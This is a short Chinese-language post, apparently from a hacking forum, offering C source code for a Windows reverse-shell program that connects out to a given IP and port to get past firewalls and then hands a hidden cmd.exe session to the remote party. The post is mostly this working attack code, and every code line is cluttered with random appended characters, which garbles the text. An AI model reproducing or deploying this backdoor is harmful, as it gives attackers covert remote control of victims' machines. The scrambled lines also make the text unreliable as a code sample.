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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 /D12N'VaE  
(+@H !>r$$  
/* ============================== <q|19fH-5  
Rebound port in Windows NT <}evOw2  
By wind,2006/7 4D8q Gti  
===============================*/ $d'Gh2IGA  
#include _<8n]0lX3  
#include |b@-1  
u}$?r\H'(  
#pragma comment(lib,"wsock32.lib") yR&E6o.$z  
P)3e^~+A  
void OutputShell(); F=cO=5Iz  
SOCKET sClient; B}vI<?c  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; rei<{woX  
b |EZ;,i  
void main(int argc,char **argv) ~o+u:]  
{ o_cj-  
WSADATA stWsaData; B!:(*lF  
int nRet; D,2,4h!ka  
SOCKADDR_IN stSaiClient,stSaiServer; Fw|5A"9'a'  
R +k\)_F  
if(argc != 3) *@yYqI<1a  
{ )Aj~ xA  
printf("Useage:\n\rRebound DestIP DestPort\n"); bz@4obRqf  
return; 1iUy*p65:  
} VB Ce=<  
9 eP @}C6  
WSAStartup(MAKEWORD(2,2),&stWsaData); B!,})F$x  
GDk/85cv0$  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Lm8 cY  
"kMpa]<c-6  
stSaiClient.sin_family = AF_INET; [Ga 9^e$Zv  
stSaiClient.sin_port = htons(0); il*bsnwpZv  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); &AW?!rH  
K]RkKMT,  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) EPyFM_k  
{ {1FY HM^  
printf("Bind Socket Failed!\n"); *'Ch(c:rtH  
return; u ; I5n  
} ^Xh9:OBF  
/7*u!CNm  
stSaiServer.sin_family = AF_INET; tvP"t{C6,  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); *NDzU%X8  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); WFtxEIrl3j  
Hq=RtW2  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) #[IQmU23  
{ p 3X>  
printf("Connect Error!"); V]IS(U(  
return; * ,,D%L  
} MSw/_{  
OutputShell(); 'H+pwp"M@  
} k0%4&pU  
gg5`\}  
void OutputShell() \ B<(9  
{  y!!p:3  
char szBuff[1024]; Si!W@Jm  
SECURITY_ATTRIBUTES stSecurityAttributes; |Zz3X  
OSVERSIONINFO stOsversionInfo; +,If|5>(  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; aiea& aJ  
STARTUPINFO stStartupInfo; pkhZW8O  
char *szShell; haS`V  
PROCESS_INFORMATION stProcessInformation; $KKrl  
unsigned long lBytesRead; l1a=r:WhH  
9J*m!-hOY  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); wC;N*0Th  
Z3=t"  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); !\^c9Pg|v  
stSecurityAttributes.lpSecurityDescriptor = 0; q f-1}  
stSecurityAttributes.bInheritHandle = TRUE; pz~AsF  
rJ K~kKG  
BHqJ~2&FDW  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Rax}r  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); )9==6p  
$GPenQ~},  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); TAIcp*)ZM  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W%@6D|^  
stStartupInfo.wShowWindow = SW_HIDE; %.[t(F  
stStartupInfo.hStdInput = hReadPipe; - TSn_XE  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; _"Y;E  
"3W!p+W  
GetVersionEx(&stOsversionInfo); hI]KT a  
j'I$F1>Te  
switch(stOsversionInfo.dwPlatformId) p~En~?<  
{ JmtU>2z\  
case 1: P.=&:ay7?  
szShell = "command.com"; 6(VCQ{  
break; C 3b  
default: gs7H9%j{U  
szShell = "cmd.exe"; qJKD| =_  
break; 4L(axjMYU  
} 2>_6b>9]  
JIQS'r  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 8!'#B^  
~W_m<#K(  
send(sClient,szMsg,77,0); -6aGcPq  
while(1) eOE7A'X   
{ z ~T[%RjO  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); pg;agtI  
if(lBytesRead) [}N?'foLb  
{ !Z`~=n3bk  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); OXK?R\ E+  
send(sClient,szBuff,lBytesRead,0); p9y "0A|  
} 80x %wCY`  
else #db8ur3?  
{ eh&?BP?  
lBytesRead=recv(sClient,szBuff,1024,0); k^:$ETW2 D  
if(lBytesRead<=0) break; ck){N?y  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); g>CF|Wj  
} a]Bm0gdrO  
} "[q/2vC  
Eg FV  
return; Ola>] 0l  
}
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